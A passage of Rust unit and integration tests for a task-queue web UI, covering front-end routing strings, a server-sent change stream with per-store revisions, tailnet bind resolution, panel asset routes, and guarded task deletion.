20302        assert!(
20303            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20304            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20305             hashchange event that may never fire"
20306        );
20307    }
20308
20309    #[test]
20310    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20311        // A stats tile can leave state.runsFilter.status set to something
20312        // done-by-construction (e.g. "merged") - picking "Active" afterward
20313        // must drop it the same way an incompatible tree section is already
20314        // dropped, or the Runs list renders permanently empty with no way
20315        // for the operator to tell why.
20316        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20317        assert!(
20318            APP_JS.contains(
20319                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20320            ),
20321            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20322             guard for an incompatible tree section"
20323        );
20324    }
20325
20326    #[test]
20327    fn every_stats_queue_tile_names_a_real_queue_section() {
20328        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20329        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20330        // (consumeQueueSectionFocus finds no matching <details> and drops
20331        // the focus) rather than fail loudly, so pin every key against the
20332        // section list it has to resolve against.
20333        assert!(
20334            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20335            "every queue tile built through sectionTile() must route its click through \
20336             openQueueSectionFocus"
20337        );
20338        for key in ["upnext", "running", "done", "held", "blocked"] {
20339            assert!(
20340                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20341                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20342            );
20343        }
20344        // Queued and Failed intentionally both resolve to "upnext" - the
20345        // same section queueSection() itself files them under - rather than
20346        // getting a section each.
20347        for line in [
20348            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20349            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20350            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20351            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20352            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20353            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20354        ] {
20355            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20356        }
20357    }
20358
20359    #[test]
20360    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20361        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20362        // above for the section-focus channel a stats queue tile drives:
20363        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20364        // through the stale-search-clear recursion into renderQueue(), and
20365        // clear it only once revealQueueSection() is actually about to run -
20366        // the same trap that once silently dropped a task-focus jump.
20367        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20368        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20369        assert!(APP_JS.contains("function revealQueueSection(details)"));
20370        assert!(
20371            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20372            "renderQueue() must consume both focus channels on every pass"
20373        );
20374        assert!(
20375            APP_JS.contains(
20376                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20377            ),
20378            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20379             the recursive renderQueue() call has nothing left to reveal"
20380        );
20381        assert!(
20382            APP_JS.contains(
20383                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20384            ),
20385            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20386        );
20387        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20388        // task-focus form of the hash - a plain `#queue` navigation only
20389        // flips which view is visible. openQueueSectionFocus() must
20390        // therefore call renderQueue() itself, and applyRoute() too so the
20391        // view flips even when the hash doesn't change (the Backlog may
20392        // already be open when a tile is tapped, firing no hashchange
20393        // event at all).
20394        assert!(
20395            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20396            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20397             hashchange event that may never fire"
20398        );
20399    }
20400
20401    #[tokio::test]
20402    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20403        let f = Fixture::start().await;
20404
20405        let mut socket = tokio::net::TcpStream::connect(f.addr)
20406            .await
20407            .expect("connect");
20408        socket
20409            .write_all(
20410                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20411            )
20412            .await
20413            .expect("write request");
20414
20415        // Read until the first event arrives rather than to end of stream: the
20416        // stream is endless by design, which is the point of the route.
20417        let mut seen = String::new();
20418        let mut buf = [0u8; 1024];
20419        while !seen.contains("event: change") {
20420            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20421                .await
20422                .expect("the stream must speak within five seconds")
20423                .expect("read");
20424            assert!(read > 0, "the server closed the change stream: {seen}");
20425            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20426        }
20427
20428        assert!(
20429            seen.to_lowercase()
20430                .contains("content-type: text/event-stream"),
20431            "the browser only reconnects automatically for a real SSE stream: {seen}"
20432        );
20433        let data = seen
20434            .lines()
20435            .find_map(|l| l.strip_prefix("data:"))
20436            .expect("a data line");
20437        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20438        assert!(
20439            payload["queue_rev"].is_u64()
20440                && payload["runs_rev"].is_u64()
20441                && payload["questions_rev"].is_u64()
20442                && payload["talks_rev"].is_u64()
20443                && payload["notifications_rev"].is_u64()
20444                && payload["loop_rev"].is_u64(),
20445            "the client needs one revision per store to know what to refetch, \
20446             and `talks_rev` is the only notification a standing talk gets - a \
20447             phone whose radio slept through a turn learns about it here, as \
20448             does one whose operator started the loop from another device: \
20449             {payload}"
20450        );
20451
20452        // The front end re-polls health on a timer and on wake, and takes the
20453        // revisions from that answer whenever the stream is not up. So health
20454        // has to carry every key the stream carries: a phone on a link that
20455        // will not hold an SSE connection is exactly the phone that must still
20456        // notice a question, and a missing key there is not a 500 but a UI
20457        // that quietly stops updating.
20458        let health = f.get("/api/health").await.json();
20459        for key in [
20460            "queue_rev",
20461            "runs_rev",
20462            "questions_rev",
20463            "talks_rev",
20464            "notifications_rev",
20465            "loop_rev",
20466        ] {
20467            assert!(
20468                health[key].is_u64(),
20469                "health is the change stream's fallback and is missing `{key}`: {health}"
20470            );
20471        }
20472    }
20473
20474    #[tokio::test]
20475    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20476        let f = Fixture::start().await;
20477        let before = f.get("/api/health").await.json()["talks_rev"]
20478            .as_u64()
20479            .expect("talks_rev");
20480
20481        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20482        std::thread::sleep(Duration::from_millis(10));
20483        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20484        on_disk.turns.push(crate::talk::Turn {
20485            sender: None,
20486            breaks: Some(Vec::new()),
20487            messages: Vec::new(),
20488            posted_by: None,
20489            who: crate::talk::Who::Operator,
20490            body: "a new turn".to_owned(),
20491            at: Timestamp::now(),
20492            attachments: Vec::new(),
20493            usage: None,
20494        });
20495        f.talks().put(&mut on_disk).expect("record a turn");
20496
20497        let after = tokio::time::timeout(Duration::from_secs(5), async {
20498            loop {
20499                let revision = f.get("/api/health").await.json()["talks_rev"]
20500                    .as_u64()
20501                    .unwrap();
20502                if revision != before {
20503                    break revision;
20504                }
20505                tokio::time::sleep(Duration::from_millis(50)).await;
20506            }
20507        })
20508        .await
20509        .expect("shared monitor observes external turn");
20510        assert_ne!(
20511            before, after,
20512            "a phone must be able to notice a talk's reply without polling every store"
20513        );
20514    }
20515
20516    #[test]
20517    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20518        // The CLI shows the default in `--help` and parses whatever comes
20519        // back, so the two directions have to agree or `--bind auto` breaks
20520        // the moment someone copies the help text.
20521        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20522            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20523        }
20524        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20525        assert!("everywhere".parse::<Bind>().is_err());
20526    }
20527
20528    #[test]
20529    fn an_explicit_bind_address_is_taken_verbatim() {
20530        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20531
20532        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20533
20534        assert_eq!(addr, asked);
20535        assert!(
20536            warning.is_none(),
20537            "an operator who named an address gets no lecture"
20538        );
20539    }
20540
20541    #[test]
20542    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20543        let (addr, warning) = resolve_bind(&Bind::Auto);
20544
20545        // This has to hold on a CI runner with no `tailscale` and on a dev box
20546        // with one, so the invariant asserted is the one shared by both
20547        // outcomes: the address is either a real tailnet address offered
20548        // without comment, or loopback with an explanation. What must never
20549        // happen is a silent fallback - an operator told "listening on
20550        // 127.0.0.1" with no reason would go looking for a firewall.
20551        match addr {
20552            IpAddr::V4(ip) if is_tailnet(&ip) => {
20553                assert!(warning.is_none(), "a tailnet address needs no warning");
20554            }
20555            other => {
20556                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20557                let warning = warning.expect("a fallback has to explain itself");
20558                assert!(
20559                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20560                    "the warning says what happened and what it costs: {warning}"
20561                );
20562            }
20563        }
20564    }
20565
20566    #[test]
20567    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20568        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20569        // boundary cases are what stop us binding to some other tool's idea of
20570        // an address.
20571        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20572        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20573        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20574        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20575        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20576    }
20577
20578    #[test]
20579    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20580        let ids = vec![
20581            "20260902-140501-aaaa".to_owned(),
20582            "20260902-140502-aabb".to_owned(),
20583        ];
20584
20585        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20586        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20587        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20588
20589        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20590        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20591        assert_eq!(short, "20260902-140502-aabb");
20592    }
20593    #[tokio::test]
20594    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20595        // The prompt tells agents to reference attachments by bare filename.
20596        // A document served at `.../panel` resolves `shot.png` against its own
20597        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20598        // panel written exactly as instructed showed broken images. Caught by
20599        // looking at a real one in a browser, not by reading the code.
20600        let fx = Fixture::start().await;
20601        let id = panel(
20602            &fx,
20603            "<img src=\"shot.png\">",
20604            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20605        );
20606
20607        // The frame's own URL ends in a filename, so its siblings are reachable.
20608        let doc = fx
20609            .get(&format!("/api/questions/{id}/panel/index.html"))
20610            .await;
20611        assert_eq!(doc.status, 200, "{}", doc.body);
20612        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20613
20614        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20615        assert_eq!(sibling.status, 200, "{}", sibling.body);
20616        assert_eq!(sibling.header("content-type"), Some("image/png"));
20617        assert_eq!(
20618            sibling.header("content-security-policy"),
20619            Some(PANEL_CSP),
20620            "the sibling route must carry the same policy as the asset route"
20621        );
20622
20623        // The original spelling keeps working: HEAD on it is how the front end
20624        // decides whether to mount a frame at all.
20625        assert_eq!(
20626            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20627            200
20628        );
20629    }
20630
20631    #[test]
20632    fn delta_stamps_cover_add_update_remove_and_noop() {
20633        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20634        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20635        let delta = diff_stamps(&before, &after, 42);
20636        assert_eq!(delta.base, 42);
20637        assert_eq!(delta.changed, ["b", "c"]);
20638        assert_eq!(delta.removed, ["a"]);
20639        let same = diff_stamps(&after, &after, 43);
20640        assert!(same.changed.is_empty() && same.removed.is_empty());
20641        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20642        let nanos: Stamps = [("b".into(), (2, 20))].into();
20643        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20644        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20645        assert_eq!(stamps_revision(&Stamps::new()), 0);
20646    }
20647
20648    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20649        std::fs::create_dir_all(home.join("runs")).unwrap();
20650        Arc::new(Ui::new(
20651            Queue::at(home.join("queue")),
20652            Questions::at(home.join("questions")),
20653            Talks::at(home.join("talks")),
20654            home.join("runs"),
20655            home.to_owned(),
20656            PathBuf::from("/repo/magi"),
20657        ))
20658    }
20659
20660    #[test]
20661    fn monitor_scan_isolates_store_failures_and_recovers() {
20662        let home = TempDir::new().unwrap();
20663        let ui = delta_test_ui(home.path());
20664        std::fs::create_dir_all(ui.questions.root()).unwrap();
20665        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20666        let before = monitor_scan(&ui, None);
20667        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20668        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20669        std::fs::create_dir_all(ui.talks.root()).unwrap();
20670        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20671        let during = monitor_scan(&ui, Some(before.clone()));
20672        assert_eq!(during.0.2, before.0.2);
20673        assert_ne!(during.0.3, before.0.3);
20674        assert!(during.1[2].contains_key("new"));
20675        std::fs::remove_file(ui.questions.root()).unwrap();
20676        let after = monitor_scan(&ui, Some(during));
20677        assert_eq!(after.0.2, 0);
20678        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20679        // A failed first scan also permits healthy stores to publish.
20680        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20681        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20682    }
20683
20684    #[tokio::test]
20685    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20686        let home = TempDir::new().unwrap();
20687        let ui = delta_test_ui(home.path());
20688        let mut task = Task::new(
20689            "stream task".into(),
20690            "text".into(),
20691            PathBuf::from("/repo"),
20692            Source::Human,
20693        );
20694        ui.queue.put(&mut task).unwrap();
20695        let response = events(State(ui.clone())).await.into_response();
20696        let mut stream = response.into_body().into_data_stream();
20697        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20698            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20699                .await
20700                .unwrap()
20701                .unwrap()
20702                .unwrap();
20703            let text = String::from_utf8(chunk.to_vec()).unwrap();
20704            let data = text
20705                .lines()
20706                .find_map(|line| {
20707                    line.strip_prefix("data: ")
20708                        .or_else(|| line.strip_prefix("data:"))
20709                })
20710                .unwrap();
20711            serde_json::from_str(data).unwrap()
20712        }
20713        let initial = change(&mut stream).await;
20714        assert!(initial.get("queue_delta").is_none());
20715        task.instruction.push_str(" changed");
20716        ui.queue.put(&mut task).unwrap();
20717        let updated = change(&mut stream).await;
20718        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20719        assert_eq!(
20720            updated["queue_delta"]["changed"],
20721            serde_json::json!([task.id])
20722        );
20723        assert_eq!(
20724            updated["queue_rev"].as_u64(),
20725            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20726        );
20727        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20728        let removed = change(&mut stream).await;
20729        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20730        assert_eq!(
20731            removed["queue_delta"]["removed"],
20732            serde_json::json!([task.id])
20733        );
20734    }
20735
20736    #[tokio::test]
20737    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20738        let home = TempDir::new().unwrap();
20739        let ui = delta_test_ui(home.path());
20740        let queue = ui.queue.clone();
20741        let query = |ids: Option<&str>| {
20742            Query(ListQuery {
20743                limit: Some(2),
20744                ids: ids.map(str::to_owned),
20745            })
20746        };
20747        let mut root = Task::new(
20748            "root".into(),
20749            "instruction".into(),
20750            PathBuf::from("/repo"),
20751            Source::Human,
20752        );
20753        queue.put(&mut root).unwrap();
20754        let mut blocked = Task::new(
20755            "blocked".into(),
20756            "instruction".into(),
20757            PathBuf::from("/repo"),
20758            Source::Human,
20759        );
20760        blocked.block(vec![root.id.clone()], None);
20761        queue.put(&mut blocked).unwrap();
20762        let whole =
20763            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20764                .unwrap();
20765        let subset = serde_json::to_value(
20766            queue_list(State(ui.clone()), query(Some(&root.id)))
20767                .await
20768                .unwrap()
20769                .0,
20770        )
20771        .unwrap();
20772        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20773        let blockers = serde_json::to_value(
20774            queue_list(State(ui.clone()), query(Some("")))
20775                .await
20776                .unwrap()
20777                .0,
20778        )
20779        .unwrap();
20780        assert_eq!(blockers.as_array().unwrap().len(), 1);
20781        assert_eq!(blockers[0]["id"], blocked.id);
20782        assert_eq!(
20783            blockers[0]["waits_on"],
20784            whole
20785                .as_array()
20786                .unwrap()
20787                .iter()
20788                .find(|row| row["id"] == blocked.id)
20789                .unwrap()["waits_on"]
20790        );
20791
20792        for id in [
20793            "20260902-140501-aaaa",
20794            "20260902-140502-bbbb",
20795            "20260902-140503-cccc",
20796        ] {
20797            write_run(&ui.runs, id, RunStatus::Merged);
20798        }
20799        let old = serde_json::to_value(
20800            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20801                .await
20802                .unwrap()
20803                .0,
20804        )
20805        .unwrap();
20806        assert!(
20807            old.as_array().unwrap().is_empty(),
20808            "older updates must not enter the window"
20809        );
20810        let newest = serde_json::to_value(
20811            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20812                .await
20813                .unwrap()
20814                .0,
20815        )
20816        .unwrap();
20817        assert_eq!(newest.as_array().unwrap().len(), 1);
20818        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20819
20820        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20821        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20822        let talks = serde_json::to_value(
20823            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20824                .await
20825                .unwrap()
20826                .0,
20827        )
20828        .unwrap();
20829        assert_eq!(talks.as_array().unwrap().len(), 1);
20830        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20831        assert_eq!(
20832            serde_json::to_value(
20833                talks_list(State(ui.clone()), query(Some("")))
20834                    .await
20835                    .unwrap()
20836                    .0
20837            )
20838            .unwrap(),
20839            serde_json::json!([])
20840        );
20841    }
20842
20843    #[tokio::test]
20844    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20845    async fn delta_payload_benchmark() {
20846        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20847        let ui = delta_test_ui(&home);
20848        let query = |ids: Option<String>| {
20849            Query(ListQuery {
20850                limit: Some(50),
20851                ids,
20852            })
20853        };
20854        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20855        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20856        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20857        let queue_id = queue
20858            .iter()
20859            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20860            .unwrap_or(&queue[0])
20861            .task
20862            .id
20863            .clone();
20864        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20865            .await
20866            .unwrap()
20867            .0;
20868        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20869            .await
20870            .unwrap()
20871            .0;
20872        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20873            .await
20874            .unwrap()
20875            .0;
20876        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20877        eprintln!(
20878            "DELTA_PAYLOAD {}",
20879            serde_json::json!({
20880                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20881                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20882                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20883                "counts": [queue.len(), runs.len(), talks.len()],
20884                "blocked": queue_delta.len() - 1,
20885            })
20886        );
20887    }
20888
20889    #[test]
20890    fn runs_revision_moves_when_deleting_an_older_run() {
20891        let temp = TempDir::new().expect("tempdir");
20892        let runs = temp.path().join("runs");
20893        std::fs::create_dir_all(&runs).expect("create runs dir");
20894
20895        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20896
20897        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20898        std::thread::sleep(Duration::from_millis(10));
20899        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20900
20901        let rev_before = runs_revision(&runs);
20902        assert!(rev_before > 0);
20903
20904        let old_dir = runs.join("20260901-100000-old1");
20905        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20906
20907        let rev_after = runs_revision(&runs);
20908        assert_ne!(
20909            rev_before, rev_after,
20910            "deleting an older run must change the revision so other clients see the deletion"
20911        );
20912    }
20913
20914    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20915    /// process-global home entirely — `RunState::save` writes through
20916    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20917    /// (see `tests::home_lock` in the integration suite for why).
20918    fn write_state(runs: &FsPath, state: &RunState) {
20919        let dir = runs.join(&state.id);
20920        std::fs::create_dir_all(&dir).expect("run dir");
20921        std::fs::write(
20922            dir.join("run.json"),
20923            serde_json::to_string_pretty(state).expect("serialize run"),
20924        )
20925        .expect("write run.json");
20926    }
20927
20928    /// A seat starting or finishing is a write to `run.json` like any other,
20929    /// so it moves the same revision the change stream already watches —
20930    /// nothing new for `/api/events` to learn, but the property this feature
20931    /// depends on to reach the phone without a poll.
20932    #[test]
20933    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20934        let temp = TempDir::new().expect("tempdir");
20935        let runs = temp.path().join("runs");
20936        std::fs::create_dir_all(&runs).expect("create runs dir");
20937        let mut state = RunState::new(
20938            PathBuf::from("/repo/magi"),
20939            "main".to_owned(),
20940            "0123456789abcdef".to_owned(),
20941            "task".to_owned(),
20942            Config::default(),
20943        );
20944        state.id = "20260902-100000-c0de".to_owned();
20945        write_state(&runs, &state);
20946
20947        let rev_idle = runs_revision(&runs);
20948        std::thread::sleep(Duration::from_millis(10));
20949        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20950        write_state(&runs, &state);
20951        let rev_started = runs_revision(&runs);
20952        assert_ne!(
20953            rev_idle, rev_started,
20954            "a seat starting must move the revision"
20955        );
20956
20957        std::thread::sleep(Duration::from_millis(10));
20958        state.seat_finished("judge-1");
20959        write_state(&runs, &state);
20960        let rev_finished = runs_revision(&runs);
20961        assert_ne!(
20962            rev_started, rev_finished,
20963            "and clearing it again must move the revision a second time"
20964        );
20965    }
20966
20967    #[tokio::test]
20968    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20969        // `TaskView` flattens `Task`, so this is really asserting that
20970        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20971        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20972        // never touched web.rs, so nothing here caught it if it had.
20973        let fx = Fixture::start().await;
20974        let q = fx.queue();
20975
20976        let mut t = Task::new(
20977            "Task".to_owned(),
20978            "Instruction".to_owned(),
20979            PathBuf::from("/repo"),
20980            Source::Human,
20981        );
20982        t.block(
20983            vec!["20260101-000000-dead".to_owned()],
20984            Some("waiting on Task 1".to_owned()),
20985        );
20986        t.answers.push(crate::queue::AnsweredQuestion {
20987            question: "Which backend?".to_owned(),
20988            answer: "SQLite".to_owned(),
20989        });
20990        q.put(&mut t).expect("put t");
20991
20992        let res = fx.get("/api/queue").await;
20993        assert_eq!(res.status, 200);
20994        let list = res.json();
20995        let view = list
20996            .as_array()
20997            .expect("array")
20998            .iter()
20999            .find(|v| v["id"] == t.id)
21000            .expect("task in list");
21001        assert_eq!(view["status_str"], "blocked");
21002        assert_eq!(
21003            view["blocked_by"],
21004            serde_json::json!(["20260101-000000-dead"])
21005        );
21006        assert_eq!(view["block_reason"], "waiting on Task 1");
21007        assert_eq!(view["answers"][0]["question"], "Which backend?");
21008        assert_eq!(view["answers"][0]["answer"], "SQLite");
21009
21010        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21011        // but never `answers` - that is a settled decision, not state
21012        // describing the current block, so it survives.
21013        let res = fx
21014            .post(&format!("/api/queue/{}/hold", t.short()), None)
21015            .await;
21016        assert_eq!(res.status, 200);
21017        let held = res.json();
21018        assert_eq!(held["status_str"], "held");
21019        assert_eq!(held["blocked_by"], serde_json::json!([]));
21020        assert!(held["block_reason"].is_null());
21021        assert_eq!(held["answers"][0]["answer"], "SQLite");
21022    }
21023
21024    #[tokio::test]
21025    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21026        let fx = Fixture::start().await;
21027        let q = fx.queue();
21028        let mk = |title: &str| {
21029            Task::new(
21030                title.to_owned(),
21031                "Instruction".to_owned(),
21032                PathBuf::from("/repo"),
21033                Source::Human,
21034            )
21035        };
21036        let mut root = mk("root");
21037        root.hold_manual(Some("waiting".to_owned()));
21038        q.put(&mut root).unwrap();
21039        let mut mid = mk("mid");
21040        mid.block(vec![root.id.clone()], None);
21041        q.put(&mut mid).unwrap();
21042        let mut leaf = mk("leaf");
21043        leaf.block(vec![mid.id.clone()], None);
21044        q.put(&mut leaf).unwrap();
21045
21046        let list = fx.get("/api/queue").await.json();
21047        let find = |id: &str| {
21048            list.as_array()
21049                .unwrap()
21050                .iter()
21051                .find(|v| v["id"] == id)
21052                .unwrap()
21053                .clone()
21054        };
21055        let leaf_view = find(&leaf.id);
21056        assert_eq!(
21057            leaf_view["waits_on"],
21058            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21059        );
21060        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21061        assert_eq!(
21062            find(&mid.id)["waits_on"],
21063            serde_json::json!([format!("{} (held)", root.short())])
21064        );
21065        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21066    }
21067
21068    #[tokio::test]
21069    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21070        let fx = Fixture::start().await;
21071        let q = fx.queue();
21072
21073        // 1. A queued task with runs attached can be deleted.
21074        let mut t1 = Task::new(
21075            "Task 1".to_owned(),
21076            "Instruction 1".to_owned(),
21077            PathBuf::from("/repo"),
21078            Source::Human,
21079        );
21080        let run_id = "20260901-000000-r111";
21081        t1.runs.push(run_id.to_owned());
21082        write_run(&fx.runs(), run_id, RunStatus::Merged);
21083        q.put(&mut t1).expect("put t1");
21084
21085        // Delete by short id
21086        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21087        assert_eq!(res.status, 204);
21088        assert!(res.body.is_empty(), "204 No Content has no body");
21089        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21090        assert!(
21091            fx.runs().join(run_id).exists(),
21092            "run directory must not be deleted when its task is deleted"
21093        );
21094
21095        // 2. A task a live daemon is running is refused with 409.
21096        let mut t2 = Task::new(
21097            "Task 2".to_owned(),
21098            "Instruction 2".to_owned(),
21099            PathBuf::from("/repo"),
21100            Source::Human,
21101        );
21102        t2.status = TaskStatus::Running;
21103        q.put(&mut t2).expect("put t2");
21104        let mut beat = crate::daemon::Status::new();
21105        beat.current = vec![crate::daemon::Current {
21106            task: t2.id.clone(),
21107            run: "20260901-000000-r222".to_owned(),
21108        }];
21109        beat.updated_at = jiff::Timestamp::now();
21110        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21111            .expect("publish a heartbeat");
21112        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21113        assert_eq!(res.status, 409);
21114        assert!(
21115            res.json()["error"]
21116                .as_str()
21117                .unwrap()
21118                .contains("live daemon")
21119        );
21120        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21121
21122        // 3. The same `running` status and an orphaned lock, with no daemon
21123        // behind either, is a leftover and deletable. Before this the phone
21124        // refused it for good: the status never changes on its own and
21125        // nothing drops a lock whose process is gone.
21126        // The daemon is killed: the file stays, the heartbeat stops.
21127        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21128        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21129            .expect("leave a stale heartbeat");
21130        let mut t3 = Task::new(
21131            "Task 3".to_owned(),
21132            "Instruction 3".to_owned(),
21133            PathBuf::from("/repo"),
21134            Source::Human,
21135        );
